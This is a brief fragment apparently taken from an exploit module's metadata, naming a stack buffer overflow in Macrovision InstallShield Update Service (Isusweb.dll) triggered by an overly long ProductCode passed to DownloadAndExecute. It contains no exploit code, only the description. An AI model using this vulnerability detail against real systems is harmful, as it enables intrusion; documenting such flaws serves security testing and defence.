'Name' => 'Macrovision InstallShield Update Service Buffer Overflow',

This module exploits a stack buffer overflow in Macrovision InstallShield Update
Service(Isusweb.dll 6.0.100.54472). By passing an overly long ProductCode string to
the DownloadAndExecute method, an attacker may be able to execute arbitrary code.
